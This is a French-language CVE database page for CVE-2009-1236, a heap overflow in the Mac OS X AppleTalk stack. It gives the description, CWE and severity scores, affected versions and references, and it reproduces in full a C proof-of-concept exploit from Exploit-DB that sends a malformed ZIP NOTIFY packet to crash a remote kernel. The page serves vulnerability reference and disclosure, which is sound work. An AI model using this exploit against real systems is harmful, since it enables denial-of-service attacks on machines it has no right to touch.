CVE-2009-1236 : Détail

CVE-2009-1236

Overflow
5.38%V4
Network
2009-04-02
15h00 +00:00
2017-09-28
10h57 +00:00
CVE.org
NVD
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Descriptions du CVE

Heap-based buffer overflow in the AppleTalk networking stack in XNU 1228.3.13 and earlier on Apple Mac OS X 10.5.6 and earlier allows remote attackers to cause a denial of service (system crash) via a ZIP NOTIFY (aka ZIPOP_NOTIFY) packet that overwrites a certain ifPort structure member.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 8262

Date de publication : 2009-03-22 23h00 +00:00
Auteur : mu-b
EDB Vérifié : Yes

/* xnu-appletalk-zip.c * * Copyright (c) 2008 by <mu-b@digit-labs.org> * * Apple MACOS X xnu <= 1228.3.13 appletalk zip-notify remote kernel overflow PoC * by mu-b - Sun 13 Apr 2008 * * - Tested on: Apple MACOS X 10.5.1 (xnu-1228.0.2~1/RELEASE_I386) * Apple MACOS X 10.5.2 (xnu-1228.3.13~1/RELEASE_I386) * * Compile: gcc -Wall xnu-appletalk-zip.c /usr/lib/libatalk.a -o xnu-appletalk-zip * * - Private Source Code -DO NOT DISTRIBUTE - * http://www.digit-labs.org/ -- Digit-Labs 2008!@$! */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <sys/socket.h> #include <unistd.h> #include <netatalk/endian.h> #include <netatalk/at.h> #include <atalk/netddp.h> #include <atalk/ddp.h> #include <atalk/zip.h> #include <atalk/util.h> int main (int argc, char **argv) { struct sockaddr_at daddr, saddr; char *p, buf[1024]; int fd, zlen; printf ("Apple MACOS X xnu <= 1228.3.13 appletalk zip-notify remote kernel overflow PoC\n" "by: <mu-b@digit-labs.org>\n" "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n"); if (argc < 3) { fprintf (stderr, "Usage: %s <dst addr> <zone> [src addr]\n", argv[0]); exit (EXIT_FAILURE); } if (!atalk_aton (argv[1], &daddr.sat_addr)) { fprintf (stderr, "* dst address: atalk_aton failed\n"); exit (EXIT_FAILURE); } if (argc > 3) { if (!atalk_aton (argv[3], &saddr.sat_addr)) { fprintf (stderr, "* src address: atalk_aton failed\n"); exit (EXIT_FAILURE); } } daddr.sat_family = AF_APPLETALK; daddr.sat_port = 6; if ((fd = netddp_open (argc > 3 ? &saddr : NULL, NULL)) < 0) { fprintf (stderr, "* netddp_open failed\n"); exit (EXIT_FAILURE); } printf ("Appletalk dst: %s, ", argv[1]); if (argc > 3) printf ("src: %s, ", argv[3]); printf ("zone: %s... ", argv[2]); p = buf; *p++ = DDPTYPE_ZIP; *p++ = ZIPOP_NOTIFY; /* ZIP NOTIFY */ *p++ = 0x00; *p++ = 0x00; /* pad */ *p++ = 0x00; *p++ = 0x00; *p++ = 0x00; zlen = strlen (argv[2]); *p++ = zlen; memcpy (p, argv[2], zlen); p += zlen; *p++ = 0x80; /* >= 0x80 sign extended :( * < 0x80 not enough to hit anything useful, * except maybe ifPort... */ memset (p, 0x41, 0x80); p += 0x80; if (netddp_sendto (fd, buf, p - buf, 0, (struct sockaddr *) &daddr, sizeof (struct sockaddr_at)) < 0) { fprintf (stderr, "* netddp_sendto failed\n"); exit (EXIT_FAILURE); } printf ("done\n"); return (EXIT_SUCCESS); } // milw0rm.com [2009-03-23]

Products Mentioned

Configuraton 0

Apple>>Mac_os_x >> Version To (including) 10.5.6

Apple>>Mac_os_x >> Version 10.0

Apple>>Mac_os_x >> Version 10.0.0

Apple>>Mac_os_x >> Version 10.0.1

Apple>>Mac_os_x >> Version 10.0.2

Apple>>Mac_os_x >> Version 10.0.3

Apple>>Mac_os_x >> Version 10.0.4

Apple>>Mac_os_x >> Version 10.1

Apple>>Mac_os_x >> Version 10.1.0

Apple>>Mac_os_x >> Version 10.1.1

Apple>>Mac_os_x >> Version 10.1.2

Apple>>Mac_os_x >> Version 10.1.3

Apple>>Mac_os_x >> Version 10.1.4

Apple>>Mac_os_x >> Version 10.1.5

Apple>>Mac_os_x >> Version 10.2

Apple>>Mac_os_x >> Version 10.2.0

Apple>>Mac_os_x >> Version 10.2.1

Apple>>Mac_os_x >> Version 10.2.2

Apple>>Mac_os_x >> Version 10.2.3

Apple>>Mac_os_x >> Version 10.2.4

Apple>>Mac_os_x >> Version 10.2.5

Apple>>Mac_os_x >> Version 10.2.6

Apple>>Mac_os_x >> Version 10.2.7

Apple>>Mac_os_x >> Version 10.2.8

Apple>>Mac_os_x >> Version 10.3

Apple>>Mac_os_x >> Version 10.3.0

Apple>>Mac_os_x >> Version 10.3.1

Apple>>Mac_os_x >> Version 10.3.2

Apple>>Mac_os_x >> Version 10.3.3

Apple>>Mac_os_x >> Version 10.3.4

Apple>>Mac_os_x >> Version 10.3.5

Apple>>Mac_os_x >> Version 10.3.6

Apple>>Mac_os_x >> Version 10.3.7

Apple>>Mac_os_x >> Version 10.3.8

Apple>>Mac_os_x >> Version 10.3.9

Apple>>Mac_os_x >> Version 10.4

Apple>>Mac_os_x >> Version 10.4.0

Apple>>Mac_os_x >> Version 10.4.1

Apple>>Mac_os_x >> Version 10.4.2

Apple>>Mac_os_x >> Version 10.4.3

Apple>>Mac_os_x >> Version 10.4.4

Apple>>Mac_os_x >> Version 10.4.5

Apple>>Mac_os_x >> Version 10.4.6

Apple>>Mac_os_x >> Version 10.4.7

Apple>>Mac_os_x >> Version 10.4.8

Apple>>Mac_os_x >> Version 10.4.8

    Apple>>Mac_os_x >> Version 10.4.8

      Apple>>Mac_os_x >> Version 10.4.8

        Apple>>Mac_os_x >> Version 10.4.9

        Apple>>Mac_os_x >> Version 10.4.10

        Apple>>Mac_os_x >> Version 10.4.11

        Apple>>Mac_os_x >> Version 10.5

        Apple>>Mac_os_x >> Version 10.5.0

        Apple>>Mac_os_x >> Version 10.5.1

        Apple>>Mac_os_x >> Version 10.5.2

        Apple>>Mac_os_x >> Version 10.5.2

          Apple>>Mac_os_x >> Version 10.5.3

          Apple>>Mac_os_x >> Version 10.5.4

          Apple>>Mac_os_x >> Version 10.5.5

          Apple>>Mac_os_x_server >> Version To (including) 10.5.6

          Apple>>Mac_os_x_server >> Version 10.0

          Apple>>Mac_os_x_server >> Version 10.0.0

          Apple>>Mac_os_x_server >> Version 10.0.1

          Apple>>Mac_os_x_server >> Version 10.0.2

          Apple>>Mac_os_x_server >> Version 10.0.3

          Apple>>Mac_os_x_server >> Version 10.0.4

          Apple>>Mac_os_x_server >> Version 10.1

          Apple>>Mac_os_x_server >> Version 10.1.0

          Apple>>Mac_os_x_server >> Version 10.1.1

          Apple>>Mac_os_x_server >> Version 10.1.2

          Apple>>Mac_os_x_server >> Version 10.1.3

          Apple>>Mac_os_x_server >> Version 10.1.4

          Apple>>Mac_os_x_server >> Version 10.1.5

          Apple>>Mac_os_x_server >> Version 10.2

          Apple>>Mac_os_x_server >> Version 10.2.0

          Apple>>Mac_os_x_server >> Version 10.2.1

          Apple>>Mac_os_x_server >> Version 10.2.2

          Apple>>Mac_os_x_server >> Version 10.2.3

          Apple>>Mac_os_x_server >> Version 10.2.4

          Apple>>Mac_os_x_server >> Version 10.2.5

          Apple>>Mac_os_x_server >> Version 10.2.6

          Apple>>Mac_os_x_server >> Version 10.2.7

          Apple>>Mac_os_x_server >> Version 10.2.8

          Apple>>Mac_os_x_server >> Version 10.3

          Apple>>Mac_os_x_server >> Version 10.3.0

          Apple>>Mac_os_x_server >> Version 10.3.1

          Apple>>Mac_os_x_server >> Version 10.3.2

          Apple>>Mac_os_x_server >> Version 10.3.3

          Apple>>Mac_os_x_server >> Version 10.3.4

          Apple>>Mac_os_x_server >> Version 10.3.5

          Apple>>Mac_os_x_server >> Version 10.3.6

          Apple>>Mac_os_x_server >> Version 10.3.7

          Apple>>Mac_os_x_server >> Version 10.3.8

          Apple>>Mac_os_x_server >> Version 10.3.9

          Apple>>Mac_os_x_server >> Version 10.4

          Apple>>Mac_os_x_server >> Version 10.4.0

          Apple>>Mac_os_x_server >> Version 10.4.1

          Apple>>Mac_os_x_server >> Version 10.4.2

          Apple>>Mac_os_x_server >> Version 10.4.3

          Apple>>Mac_os_x_server >> Version 10.4.4

          Apple>>Mac_os_x_server >> Version 10.4.5

          Apple>>Mac_os_x_server >> Version 10.4.6

          Apple>>Mac_os_x_server >> Version 10.4.7

          Apple>>Mac_os_x_server >> Version 10.4.8

          Apple>>Mac_os_x_server >> Version 10.4.9

          Apple>>Mac_os_x_server >> Version 10.4.10

          Apple>>Mac_os_x_server >> Version 10.4.11

          Apple>>Mac_os_x_server >> Version 10.5

          Apple>>Mac_os_x_server >> Version 10.5.0

          Apple>>Mac_os_x_server >> Version 10.5.1

          Apple>>Mac_os_x_server >> Version 10.5.2

          Apple>>Mac_os_x_server >> Version 10.5.3

          Apple>>Mac_os_x_server >> Version 10.5.4

          Apple>>Mac_os_x_server >> Version 10.5.5

          Références

          http://www.securityfocus.com/bid/34201
          Tags : vdb-entry, x_refsource_BID
          http://secunia.com/advisories/34424
          Tags : third-party-advisory, x_refsource_SECUNIA
          https://www.exploit-db.com/exploits/8262
          Tags : exploit, x_refsource_EXPLOIT-DB